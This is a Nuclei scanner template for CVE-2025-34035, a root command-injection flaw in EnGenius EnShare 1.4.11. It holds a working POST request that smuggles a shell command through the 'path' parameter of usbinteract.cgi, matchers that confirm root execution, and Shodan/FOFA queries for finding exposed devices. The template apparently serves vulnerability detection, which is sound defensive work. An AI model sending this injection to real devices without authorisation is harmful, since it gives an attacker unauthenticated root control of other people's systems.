CVE-2025-34035: EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution

id: CVE-2025-34035

info:
  name: EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution
  author: intelligent-ears
  severity: critical
  description: |
    An OS command injection vulnerability exists in EnGenius EnShare Cloud Service version 1.4.11 and earlier.The usbinteract.cgi script fails to properly sanitize user input passed to the path parameter, allowing unauthenticated remote attackers to inject arbitrary shell commands.The injected commands are executed with root privileges, leading to full system compromise.
  reference:
    - https://cxsecurity.com/issue/WLB-2017060050
    - https://www.exploit-db.com/exploits/42114
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5413.php
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34035
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 10.0
    cve-id: CVE-2025-34035
    epss-score: 0.14539
    epss-percentile: 0.94228
    cwe-id: CWE-78
  metadata:
    verified: true
    shodan-query: html:"/web/cgi-bin/usbinfo.cgi"
    fofa-query: body="/web/cgi-bin/usbinfo.cgi"
    max-request: 1
  tags: cve,cve2025,engenius,enshare,rce,vkev

http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=7&path="|id||"

    payloads:
      path:
        - "/web/cgi-bin/usbinteract.cgi"
        - "/cgi-bin/usbinteract.cgi"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - "regex('uid=([0-9(a-z_)]+) gid=([0-9(a-z_)]+)', body)"
          - 'contains(body, "Content-type: text/html")'
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022016113290105e6f45b9a269fd3774f2c37e4c4ad38060d9a29190ffcaf825c67a022100969b5ffa0ffeb18c1c3b151daa379b5e676084588fe0ce5abbd854480e0a7781:922c64590222798bb761d5b6d8e72950